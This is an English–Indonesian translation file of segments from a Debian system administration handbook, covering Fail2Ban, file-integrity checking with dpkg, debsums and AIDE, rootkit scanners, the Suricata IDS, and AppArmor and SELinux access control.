en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
id-ID: Buku ini membahas Munin secara cukup rinci (lihat <xref linkend="sect.munin" />) sebagai bagian dari <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian juga menyediakan alat yang mirip, <emphasis role="pkg">cacti</emphasis>. Penggelarannya sedikit lebih rumit, karena didasarkan semata-mata pada SNMP. Meskipun memiliki antarmuka web, menangkap konsep yang terlibat dalam konfigurasi masih memerlukan usaha. Membaca dokumentasi HTML (<filename>/usr/share/doc/cacti/html/index.html</filename>) mesti dianggap sebagai prasyarat.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
id-ID: <emphasis>ALTERNATIF</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
id-ID: <command>mrtg</command> (dalam paket yang bernama sama) adalah alat yang lebih tua. Meskipun ada beberapa sisi kasar, ini dapat mengumpulkan data historis dan menampilkan mereka sebagai grafik. Ini mencakup sejumlah skrip yang didedikasikan untuk pengumpulan data paling sering dipantau seperti beban prosesor, trafik jaringan, klik halaman web, dan sebagainya.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
id-ID: Paket-paket <emphasis role="pkg">mrtg-contrib</emphasis> dan <emphasis role="pkg">mrtgutils</emphasis> berisi contoh skrip-skrip yang dapat digunakan secara langsung.

en: Avoiding Intrusion
id-ID: Menghindari Intrusi

en: <primary>intrusion detection</primary>
id-ID: <primary>deteksi intrusi</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
id-ID: <filename>fail2ban.conf</filename>. Konfigurasi global (seperti misalnya pencatatan log).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
id-ID: <filename>filter.d/*.conf</filename>. Filter yang menentukan cara mendeteksi kegagalan autentikasi. Paket Debian sudah berisi filter untuk banyak program umum.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
id-ID: <filename>jail.conf</filename>. Itu adalah di mana <emphasis>jails</emphasis>, kombinasi filter dan tindakan, didefinisikan.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
id-ID: Mari kita lihat konfigurasi <command>sshd</command> di <filename>/etc/fail2ban/jail.conf</filename> untuk lebih memahami cara kerja Fail2Ban...

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
id-ID: Fail2Ban adalah cara yang sangat sederhana dan efektif untuk melindungi terhadap serangan brute force yang paling umum, tetapi tidak dapat melindungi terhadap serangan brute force terdistribusi, yang ketika seorang penyerang menggunakan sejumlah besar mesin menyebar di internet.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
id-ID: Cara yang baik untuk memberikan perlindungan ekstra terhadap serangan brute force terdistribusi adalah untuk meningkatkan waktu login secara artifisial setelah setiap upaya yang gagal.

en: Detecting Changes
id-ID: Mendeteksi Perubahan

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
id-ID: Setelah sistem diinstal dan dikonfigurasi, dan selain peningkatan keamanan, biasanya tidak ada alasan bagi sebagian besar berkas dan direktori untuk berevolusi, kecuali data. Oleh karena itu menarik untuk memastikan bahwa berkas sebenarnya tidak berubah: setiap perubahan yang tidak terduga akan layak untuk diselidiki. Bagian ini menyajikan beberapa alat yang dapat memonitor berkas dan memperingatkan administrator ketika terjadi perubahan yang tidak terduga (atau hanya untuk membuat daftar perubahan tersebut).

en: Auditing Packages with <command>dpkg --verify</command>
id-ID: Mengaudit Paket-paket dengan <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
id-ID: <emphasis>LEBIH JAUH</emphasis> Melindungi terhadap perubahan hulu

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
id-ID: <command>dpkg --verify</command> (atau <command>dpkg -V</command>) adalah alat yang menarik karena memungkinkan mencari berkas terpasang mana yang telah dimodifikasi (mungkin oleh penyerang), tapi ini tidak boleh dipercaya begitu saja. Untuk melakukan tugasnya, dia bergantung pada checksum yang disimpan dalam basis data dpkg sendiri yang ada pada hard disk (dapat ditemukan di <filename>/var/lib/dpkg/info/<replaceable>paket</replaceable> .md5sums</filename>); penyerang yang menyeluruh karena itu akan memperbarui berkas ini sehingga mereka mengandung checksum baru untuk berkas yang dipalsukan.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
id-ID: <emphasis>KEMBALI KE DASAR</emphasis> Sidik jari berkas

en: <primary>fingerprint</primary>
id-ID: <primary>sidik jari</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
id-ID: Menjalankan <command>dpkg -V</command> akan memverifikasi semua paket yang terpasang dan akan mencetak sebaris untuk setiap berkas yang gagal uji. Format keluaran sama dengan salah satu <command>rpm -V</command> dimana setiap karakter menandakan tes atas beberapa metadata spesifik. Sayangnya <command>dpkg</command> tidak menyimpan metadata yang diperlukan untuk sebagian besar tes dan dengan demikian akan menampilkan tanda tanya bagi mereka. Saat ini hanya tes checksum yang dapat menghasilkan "5" pada karakter ketiga (ketika gagal).

en: Auditing Packages: <command>debsums</command> and its Limits
id-ID: Mengaudit Paket: <command>debsums</command> dan keterbatasannya

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
id-ID: Karena data pada disk tidak bisa dipercaya, <command>debsums</command> menawarkan untuk melakukan cek berdasarkan berkas <filename>.deb</filename> bukan mengandalkan basis data dpkg. Untuk mengunduh berkas terpercaya <filename>.deb</filename> dari semua paket yang diinstal, kita dapat mengandalkan pengunduhan terotentikasi APT. Operasi ini mungkin lambat dan membosankan, dan karena itu tidak boleh dianggap teknik yang proaktif untuk digunakan secara teratur.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
id-ID: Perhatikan bahwa contoh ini menggunakan perintah <command>grep-status</command> dari paket <emphasis role="pkg">dctrl-tools</emphasis>, yang tidak diinstal secara default.

en: Monitoring Files: AIDE
id-ID: Memantau Berkas: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
id-ID: Alat AIDE (<emphasis>Advanced Intrusion Detection Environment</emphasis>) memungkinkan memeriksa integritas berkas, dan mendeteksi perubahan terhadap citra yang direkam sebelumnya dari sistem yang berlaku. Citra ini disimpan sebagai basis data (<filename>/var/lib/aide/aide.db</filename>) yang berisi informasi yang relevan pada semua berkas sistem (sidik jari, izin, stempel waktu, dan seterusnya). Basis data ini pertama diinisialisasi dengan <command>aideinit</command>; ini kemudian digunakan setiap hari (oleh <filename>/etc/cron.daily/aide</filename> script) untuk memeriksa bahwa tidak ada yang relevan yang berubah. Ketika perubahan terdeteksi, AIDE mencata mereka dalam berkas log (<filename>/var/log/aide/*.log</filename>) dan mengirimkan temuannya ke administrator melalui surel.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
id-ID: <emphasis>DALAM PRAKTEK</emphasis> Melindungi basis data

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
id-ID: Karena AIDE menggunakan basis data lokal untuk membandingkan keadaan berkas, keabsahan hasilnya secara langsung terhubung dengan keabsahan dari basis data. Jika seorang penyerang mendapatkan akses root pada sistem yang terkompromi, mereka akan mampu menggantikan basis data dan menutupi jejak mereka. Solusi yang mungkin adalah dengan menyimpan data referensi pada media penyimpanan hanya-baca.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
id-ID: Banyak pilihan di <filename>/etc/default/aide</filename> dapat digunakan untuk menala perilaku paket <emphasis role="pkg">aide</emphasis>. Konfigurasi AIDE tepat disimpan dalam <filename>/etc/aide/aide.conf</filename> dan <filename>/etc/aide/aide.conf.d/</filename> (sebenarnya, berkas-berkas ini hanya digunakan oleh <command>update-aide.conf</command> untuk menghasilkan <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Konfigurasi menunjukkan properti apa dari berkas mana yang perlu diperiksa. Misalnya, isi dari berkas log berubah secara rutin, dan perubahan tersebut dapat diabaikan selama izin berkas ini tetap sama, tetapi isi dan izin program executable harus konstan. Meskipun tidak sangat kompleks, sintaks konfigurasi tidak sepenuhnya intuitif, dan membaca halaman manual <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> karena itu dianjurkan.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
id-ID: Versi baru dari basis data dibuat setiap hari di <filename>/var/lib/aide/aide.db.new</filename>; jika semua perubahan yang direkam adalah sah, itu dapat dipakai untuk menggantikan basis data referensi.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
id-ID: <emphasis>ALTERNATIF</emphasis> Tripwire dan Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
id-ID: Tripwire ini sangat mirip dengan AIDE; bahkan sintaks berkas konfigurasi hampir sama. Penambahan utama yang disediakan oleh <emphasis role="pkg"> tripwire</emphasis> adalah mekanisme untuk menandatangani berkas konfigurasi, sehingga penyerang tidak dapat membuat itu menunjuk pada versi yang berbeda dari basis data referensi.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
id-ID: Samhain juga menawarkan fitur serupa, serta beberapa fungsi untuk membantu mendeteksi rootkit (lihat bilah sisi <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). Ini dapat juga digunakan secara global di jaringan, dan merekam jejak pada server pusat (dengan tanda tangan).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
id-ID: <emphasis>LIHAT CEPAT</emphasis> Paket-paket <emphasis role="pkg">checksecurity</emphasis> dan <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
id-ID: Yang pertama dari paket ini berisi beberapa skrip kecil yang melakukan pemeriksaan dasar pada sistem (password kosong, berkas setuid baru, dan sebagainya) dan memperingatkan administrator jika diperlukan. Meskipun namanya eksplisit, administrator tidak boleh mengandalkan semata-mata padanya untuk memastikan bahwa suatu sistem Linux aman.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
id-ID: Paket <emphasis role="pkg">chkrootkit</emphasis> dan <emphasis role="pkg">rkhunter</emphasis> memungkinkan mencari <emphasis>rootkit</emphasis> yang berpotensi diinstal pada sistem. Sebagai pengingat, ini adalah perca perangkat lunak yang dirancang untuk menyembunyikan kompromi sistem sementara diam-diam menjaga kendali atas mesin. Tes tidak 100% handal, tetapi mereka biasanya dapat menarik perhatian administrator ke masalah-masalah potensi.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
id-ID: <emphasis role="pkg">rkhunter</emphasis> juga melakukan pemeriksaan untuk melihat apakah perintah telah dimodifikasi, apakah berkas awal mula sistem telah dimodifikasi, dan berbagai pemeriksaan pada antarmuka jaringan, termasuk pemeriksaan untuk aplikasi yang mendengarkan.

en: Detecting Intrusion (IDS/NIDS)
id-ID: Mendeteksi Intrusi (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
id-ID: <emphasis>KEMBALI KE DASAR</emphasis> Denial of service

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
id-ID: Serangan "denial of service" memiliki hanya satu tujuan: untuk membuat layanan tidak tersedia. Apakah penyerangan seperti melibatkan membebani berlebih server dengan query atau mengeksploitasi bug, hasil akhir adalah sama: layanan ini tidak lagi operasional. Pengguna biasa tidak senang, dan entitas yang mewadahi layanan jaringan yang ditarget menderita kehilangan reputasi (dan mungkin dalam pendapatan, misalnya jika layanan ini situs e-commerce).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
id-ID: Serangan seperti itu kadang-kadang "didistribusikan"; hal ini biasanya melibatkan membebani berlebih server dengan besar jumlah query yang datang dari berbagai sumber sehingga server menjadi tidak mampu menjawab pertanyaan yang sah. Jenis serangan telah memperoleh akronim yang terkenal: <acronym>DDoS</acronym> dan <acronym>DoS</acronym> (tergantung pada apakah serangan denial of service didistribusikan atau tidak).

en: <emphasis>CAUTION</emphasis> Range of action
id-ID: <emphasis>HATI-HATI</emphasis> Rentang aksi

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
id-ID: Efektivitas <command>suricata</command> dibatasi oleh lalu lintas yang terlihat pada antarmuka jaringan yang termonitor. Itu jelas tidak akan mampu mendeteksi apa-apa jika itu tidak dapat mengamati lalu lintas yang nyata. Ketika terhubung ke switch jaringan, itu akan hanya memantau serangan yang menarget mesin tempatnya berjalan, yang mungkin bukan niat sebenarnya. Mesin yang menjalankan <command>suricata</command> karena itu akan dipasang ke port "mirror" switch, yang biasanya didedikasikan untuk menggabung switch dan karena itu mendapat semua lalu lintas.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
id-ID: Untuk mendeteksi perilaku buruk, <command>suricata</command> memerlukan satu set aturan pemantauan: Anda dapat menemukan aturan seperti itu dalam paket <emphasis role="pkg">snort-rules-default</emphasis>. <command>snort</command> adalah referensi bersejarah dalam ekosistem IDS dan <command>suricata</command> mampu memakai kembali aturan-aturan yang ditulis untuk itu.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
id-ID: <emphasis>LEBIH LANJUT</emphasis> Integrasi dengan <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
id-ID: Prelude membawa pemantauan keamanan informasi terpusat. Arsitektur modularnya mencakup server (<emphasis>manager</emphasis> di <emphasis role="pkg">prelude-manager</emphasis>) yang mengumpulkan pesan waspada yang dihasilkan oleh <emphasis>sensor</emphasis> dari berbagai jenis.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
id-ID: Suricata dapat dikonfigurasi sebagai sebuah sensor. Kemungkinan lain adalah <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) yang memonitor berkas log (dengan cara yang mirip dengan <command>logcheck</command>, dijelaskan dalam <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
id-ID: Pengantar AppArmor

en: Principles
id-ID: Prinsip-prinsip

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
id-ID: AppArmor adalah sebuah sistem <emphasis>Mandatory Access Control</emphasis> (MAC) yang dibangun di atas antarmuka LSM (<emphasis>Linux Security Modules</emphasis>) Linux. Dalam prakteknya, kernel meng-query AppArmor sebelum setiap panggilan sistem untuk mengetahui apakah proses berwenang untuk melakukan operasi tertentu. Melalui mekanisme ini, AppArmor mengungkung program ke set terbatas sumber daya.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
id-ID: AppArmor menerapkan seperangkat aturan (dikenal sebagai "profil") pada masing-masing program. Profil yang diterapkan oleh kernel tergantung pada path instalasi dari program yang sedang dijalankan. Bertentangan dengan SELinux (dibahas di <xref linkend="sect.selinux" />), aturan yang diterapkan tidak bergantung pada pengguna. Semua pengguna menghadapi serangkaian aturan yang sama ketika mereka yang mengeksekusi program yang sama (tapi izin pengguna tradisional masih berlaku dan dapat mengakibatkan perilaku yang berbeda!).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
id-ID: Profil AppArmor disimpan dalam <filename>/etc/apparmor.d/</filename> dan mereka berisi daftar aturan kontrol akses pada sumber daya yang dapat digunakan oleh masing-masing program. Profil dikompail dan dimuat ke kernel dengan perintah <command>apparmor_parser</command>. Setiap profil dapat dimuat dalam mode pemaksaan atau komplain. Yang pertama memberlakukan kebijakan dan melaporkan upaya pelanggaran, sementara yang kedua tidak menegakkan kebijakan tapi masih mencatat log panggilan sistem yang mestinya ditolak.

en: Enabling AppArmor and managing AppArmor profiles
id-ID: Memfungsikan AppArmor dan mengelola profil AppArmor

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
id-ID: Dukungan AppArmor dibangun ke dalam kernel standar yang disediakan oleh Debian. Memfungsikan AppArmor adalah hanya sekadar menginstal beberapa paket dengan mengeksekusi <command>apt install apparmor apparmor-profiles apparmor-utils</command> dengan hak root.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
id-ID: AppArmor berfungsi setelah instalasi, dan <command>aa-status</command> akan mengkonfirmasi dengan cepat:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
id-ID: <emphasis>CATATAN</emphasis> Profil AppArmor lainnya

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
id-ID: Paket <emphasis role="pkg">apparmor-profiles</emphasis> berisi profil yang dikelola oleh komunitas AppArmor hulu. Untuk mendapatkan lebih banyak lagi profil Anda dapat menginstal <emphasis role="pkg">apparmor-profiles-extra</emphasis> yang berisi profil-profil yang dikembangkan oleh Ubuntu dan Debian.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
id-ID: Keadaan setiap profil dapat dialihkan antara memaksa dan komplain dengan panggilan ke <command>aa-enforce</command> dan <command>aa-complain</command> yang memberikan sebagai parameter berupa path executable atau path ke berkas kebijakan. Sebagai tambahan profil dapat dinonaktifkan sepenuhnya dengan <command>aa-disable</command> atau dimasukkan ke dalam modus audit (untuk mencatat log panggilan sistem yang diterima juga) dengan <command>aa-audit</command>.

en: Creating a new profile
id-ID: Membuat profil baru

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
id-ID: Meskipun membuat profil AppArmor agak mudah, kebanyakan program tidak memilikinya. Bagian ini akan menunjukkan kepada Anda bagaimana membuat profil baru dari awal dengan menggunakan program target dan membiarkan AppArmor memonitor panggilan sistem yang dilakukannya dan sumber daya yang diakses.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
id-ID: Program yang paling penting yang perlu dibatasi adalah program yang menghadapi jaringan karena mereka adalah target yang paling mungkin dari penyerang remote. Itu sebabnya AppArmor menyediakan perintah <command>aa-unconfined</command> untuk menampilkan daftar program yang tidak memiliki profil terkait dan yang mengekspos soket jaringan terbuka. Dengan pilihan <literal>--paranoid</literal> Anda mendapatkan semua proses yang tak dibatasi yang memiliki setidaknya satu koneksi jaringan yang aktif.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
id-ID: Kejadian pertama yang terdeteksi adalah eksekusi program lain. Dalam hal ini, Anda memiliki beberapa pilihan: Anda dapat menjalankan program dengan profil proses induk (pilihan "Mewarisi"), Anda dapat menjalankannya sendiri dengan profil khusus (pilihan "Profile" dan "Named", hanya berbeda pada kemungkinan untuk menggunakan nama profil sebarang), Anda dapat menjalankannya dengan profil sub proses induk (pilihan "Child"), Anda dapat menjalankannya tanpa profil (pilihan "Unconfined"), atau Anda dapat memutuskan untuk tidak menjalankannya sama sekali (pilihan "Deny").

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
id-ID: Perhatikan bahwa ketika Anda memilih untuk menjalankannya di bawah profil berdedikasi yang belum ada, alat akan membuat profil yang kurang untuk Anda dan akan membuat saran aturan untuk profil itu pada eksekusi yang sama.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
id-ID: Di tingkat kernel, kekuatan khusus pengguna root telah dibagi dalam "capabilities". Ketika panggilan sistem membutuhkan kemampuan tertentu, AppArmor akan memverifikasi apakah profil mengizinkan program untuk memanfaatkan kemampuan ini.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
id-ID: Di sini program berusaha membaca izin <filename>/etc/ssl/openssl.conf</filename>. <command>aa-genprof</command> mendeteksi bahwa izin ini juga diberikan oleh beberapa "abstraksi" dan menawarkan mereka sebagai pilihan alternatif. Abstraksi menyediakan seperangkat aturan akses yang dapat dipakai lagi, mengelompokkan beberapa sumber daya yang sering digunakan bersama-sama. Dalam kasus khusus ini, berkas umumnya diakses melalui fungsi terkait nameservice dari pustaka C dan kita ketik "2" untuk pertama memilih "#include &lt;abstractions/openssl&gt;" dan kemudian "A" untuk mengizinkannya.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
id-ID: Perhatikan bahwa permintaan akses ini bukan merupakan bagian dari profil dhclient tetapi dari profil baru yang kita buat ketika kita mengizinkan <filename>/usr/sbin/dhclient-script</filename> untuk berjalan dengan profilnya sendiri.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
id-ID: Setelah setelah melihat semua peristiwa yang dilog, program ini menawarkan untuk menyimpan semua profil yang diciptakan selama berjalan. Dalam kasus ini, kita memiliki dua profil yang kami simpan sekaligus dengan "Save" (tapi Anda dapat menyimpan mereka secara individual juga) sebelum meninggalkan program dengan "Finish".

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
id-ID: <command>aa-genprof</command> sebenarnya hanya pembungkus cerdas untuk <command>aa-logprof</command>: itu menciptakan profil kosong, memuatnya dalam mode komplain dan kemudian menjalankan <command>aa-logprof</command> yang merupakan alat untuk memperbarui profil berdasarkan pelanggaran profil yang telah dicatat. Jadi Anda dapat kembali menjalankan alat tersebut kemudian untuk meningkatkan profil yang baru Anda buat.

en: Introduction to SELinux
id-ID: Pengantar SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
id-ID: SELinux (<emphasis>Security Enhanced Linux</emphasis>) adalah sistem <emphasis>Mandatory Access Control</emphasis> yang dibangun pada antarmuka LSM (<emphasis>Linux Security Modules</emphasis>) Linux. Dalam prakteknya, kernel mengkuiri SELinux sebelum setiap panggilan sistem untuk mengetahui apakah proses terotorisasi untuk melakukan operasi tertentu.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
id-ID: SELinux menggunakan seperangkat aturan — secara kolektif dikenal sebagai <emphasis>kebijakan</emphasis> — untuk mengotorisasi atau melarang operasi. Aturan-aturan tersebut sulit untuk dibuat. Untungnya, dua kebijakan standar (<emphasis>targeted</emphasis> dan <emphasis>strict</emphasis>) disediakan untuk menghindari sebagian besar pekerjaan konfigurasi.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
